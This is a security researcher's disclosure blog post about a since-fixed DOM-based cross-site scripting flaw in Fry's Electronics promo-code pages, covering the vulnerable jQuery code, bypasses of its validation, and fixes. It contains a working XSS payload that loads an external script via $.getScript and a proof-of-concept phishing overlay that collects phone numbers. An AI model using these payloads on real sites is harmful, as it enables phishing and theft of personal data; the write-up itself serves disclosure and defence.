Tags:
Editor's Note: Today's post is from Phillip Pham. Phillip is a Security Engineer at APT Security Solutions. In this post, Phillip walks through a cross-site scripting vulnerability he identified in the Fry's web application.
Disclaimer
At the time of writing, the stated vulnerability has already been remediated by Fry's Electronics. Thank you for taking swift action!
Background
Fry's Electronics is a consumer electronic retail chain that has presence in various regions across the country. Fry's Electronics introduced a marketing concept to promote sales and track consumers' spending habits by providing personalized "Promo Code". These codes once presented at either online and/or local store will provide shoppers additional discounts to their electronic goods.
Consumers are contacted by Fry's Electronics marketing "bot" periodically via emails which include the aforementioned promo code (as seen in screenshot below). To view full list of discounted products, consumers are required to click on the provided link (example below) with promo code attached as a data parameter which is part of the URL.
Promotional product listing URLs
This URL is hosted by a Limelight Networks, who is a Content Delivery Network (CDN) vendor.
https://frys.hs.llnwd.net/?..?promocode=1234567%0D
When viewing advertising materials on a mobile device.
https://images.frys.com/??promocode=1234567%0D
The Vulnerability
Web applications are often vulnerable to a commonly found attack, Cross Site Scripting (aka XSS), which leverages the lack of output encoding and input validation within a web application. The exploit allows a malicious actor (hacker) to embed JavaScript content (payloads) into the end-users browser and execute malicious code. Often, this results in phishing for users credentials, credit card information, malware distribution, and other malicious activities. Exploiting these vulnerabilities is usually fairly simple, yet yields devastating impact to end-users.
Because Fry's Electronics marketing web site exposes the promo code via an unfiltered data parameter, "promocode", thus creates an attack vector for XSS exploitation.
Initial Test
To confirm the Cross-Site Scripting vulnerability, a malicious payload was appended to the end of the promotion code parameter as follows:
https://frys.hs.llnwd.net/?.../?promocode=1234567alert(1)
Immediately, a popup displayed as shown in screenshot below and the vulnerability was confirmed:
Lets take a look at the offending code:
var promocode = getUrlParameter('promocode'); var pattern = new RegExp("[0-9]{1,7}"); var result = pattern.test(promocode); var default_text = "Your PromoCode for this email:"+promocode; if(result){ $(".prcode").html(default_text); } });
Do you see any problems here? The "promocode" value, which is partially validated on line 3, is written to the browser using the raw .html method on line 7:
Phishing Campaign
As previously mentioned, XSS allows malicious actors to conduct phishing campaigns to lure their victims to provide personal information. With given context, the phishing campaign proof-of-concept built to trick the users to provide their personal cell phone numbers to further widen attack surface to infect consumer mobile devices leverage exploits (e.g. Stagefright (Android) or an iOS 0-day).
Note: The content of the floating panel (red) is loaded from an externally hosted JavaScript file which was embedded as part of the legitimate Fry's marketing site.
Evasions
Although, simple exploitation (alert popup) of the vulnerability requires very minimal effort. However, such exploitation does not allow a full delivery of the stated phishing campaign to the victims, thus diminishing the success rate. Upon further research and analysis of the web application HTML source code, in order to fully deliver the payload, the following series of events must take place:
- Allow legitimate content to be completely loaded
- Deliver externally hosted payload
- Victims are required to provide cell phone number before able to dismiss such dialog (via floating DIV)
Evasion #1: Regular Expression Bypass
The application employs a "numbers only" validation against the actual "promocode" data parameter via client-side JavaScript (no further server-side validation):
var promocode = getUrlParameter('promocode'); var pattern = new RegExp("[0-9]{1,7}"); var result = pattern.test(promocode);
The regular expression above tests for numeric values of the first 7 characters which can be easily bypassed as trailing characters (starting at 8th position) will not be validated. Hence, the payload executed during our Initial Test.
Evasion #2: The equal sign (=) breaks trailing payloads
The application obtains the name and value of the promo code data parameter via the "getUrlParameter" (snippet below).
function getUrlParameter(sParam) { var sPageURL = decodeURIComponent(window.location.search.substring(1)), sURLVariables = sPageURL.split('&'), sParameterName, i; for (i = 0; i < sURLVariables.length; i++) { sParameterName = sURLVariables[i].split('='); if (sParameterName[0] === sParam) { return sParameterName[1] === undefined ? true : sParameterName[1]; } }
With current script implementation, given the payload:
?promocode=1234567/script>
The trailing external URL will be nullified because the script detected the equal (=) sign and treated as another set of parameter/value pair. Thus yields the output:
1234567<script src
To defeat this logic, the payload must not contain the equal (=) sign.
Evasion #3: The Working Payload
Upon further review, the application employs Google JQuery technologies to dynamically render contents. Furthermore, JQuery allows loading of external script (acting as src) via its .getScript(?url') method which does not require an equal sign (=). Example of using JQuery to reference external scripts below.
$.getScript(%27https://localhost/test.js%27,function(){})
Putting it altogether
Once evasions had been fully deployed, the remaining payload is trivial, thus the following payload will allow rendering of phishing content as shown below.
?promocode=1234567%3Cscript%3E$(document).ready(
function
(event){$.getScript(%27https:
//localhost/test.js%27,function(){})});%3C/script%3E
The evil JavaScript file (test.js) contains the following content:
var div = document.createElement("div"); div.style.width = "700px"; div.style.height = "150px"; div.style.background = "red"; div.style.color = "white"; div.innerHTML = "CONGRATLUATIONS..."; div.style.position = "absolute"; //floating div div.style.top = "20%"; //floating div div.style.left = "20%"; //floating div document.getElementsByTagName('body')[0].appendChild(div);
As you can see from the screenshot below, the form is injected into the page and asks the user for their phone number:
Then, pressing submit results in the the phone number being sent to the evil site:
Mitigation Strategies
As we have seen many times before, XSS vulnerabilities can be fixed using a combination of output encoding and input validation. Some simple mitigations are as follows:
- This a classic DOM-based XSS vulnerability. OWASP provides a DOM-based XSS Prevention Cheat Sheet for fixing this. Short story - using an encoding library (e.g. jQuery Encoder) to HTML encode the promo code before writing it to the page
- Fix the validation routine to check the entire input value
For more information on defending applications, check out the awesome courses available in SANS Application Security curriculum.
Phillip Pham is a security engineer with a strong passion for Information Security. Phillip has worked in various sectors and for organizations of various sizes, ranging from small start-ups to Fortune 500 companies. Prior to transitioning into an Information Security career, Phillip spent ten years in software engineering. His last five years of Information Security experience have been focused on Application Security. Some of his application security assessment strengths (both onpremise and cloudbased) include web applications, web services, APIs, Windows client applications, and mobile applications. He currently holds a GCIH certification and is cofounder of APT Security Solutions. Follow Phillip on Twitter @philaptsec.